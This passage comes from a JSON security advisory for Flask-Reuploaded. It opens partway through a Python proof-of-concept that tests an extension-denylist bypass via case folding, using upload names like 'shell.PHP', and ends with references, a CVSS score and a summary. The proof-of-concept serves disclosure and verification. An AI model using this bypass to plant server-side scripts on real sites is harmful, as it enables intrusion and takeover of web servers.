inside_dest={inside}\"\n        except UploadNotAllowed:\n            results[\"variant_mixed\"] = \"DENIED\"\n\n        # [3] allowlist -\u003e fail closed\n        try:\n            saved = files_allow.save(make_storage(\"real.jpg\"), name=\"shell.PHP\")\n            results[\"allowlist\"] = f\"SAVED as {saved}  \u003c-- allowlist leaked\"\n        except UploadNotAllowed:\n            results[\"allowlist\"] = \"DENIED (expected \u2014 allowlist fails closed)\"\n\n        # [4] legit upload -\u003e allowed\n        try:\n            saved = files_allow.save(make_storage(\"real.jpg\"), name=\"photo.jpg\")\n            results[\"legit\"] = f\"SAVED as {saved} (expected)\"\n        except UploadNotAllowed:\n            results[\"legit\"] = \"DENIED (UNEXPECTED \u2014 legit upload broke)\"\n\n    print(\"VERDICT:\")\n    for k, v in results.items():\n        print(f\"   {k:14s}: {v}\")\n\n    confirmed = (\n        \"BYPASS\" in results.get(\"variant\", \"\")\n        and results.get(\"default_path\") == \"DENIED (expected)\"\n        and \"DENIED\" in results.get(\"allowlist\", \"\")\n    )\n    print(\"FLASK_REUPLOADED_CASE_FOLD_CONFIRMED\" if confirmed else \"VARIANT NOT CONFIRMED \u2014 honest cut\")\n\n    shutil.rmtree(dest_denylist, ignore_errors=True)\n    shutil.rmtree(dest_allowlist, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n    run()\n```",
  "id": "PYSEC-2026-3466",
  "modified": "2026-07-23T14:31:08.220658Z",
  "published": "2026-07-23T11:41:47.401329Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/security/advisories/GHSA-937x-gpqr-72gg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jugmac00/flask-reuploaded/commit/5ded76092429c6eb8a4af941b14fbde40a38fff4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jugmac00/flask-reuploaded"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/flask-reuploaded"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-937x-gpqr-72gg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54567"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Flask-Reuploaded: Extension-denylist bypass via case-folding asymmetry in name-override path (incomplete-fix variant of CVE-2026-27641)"
}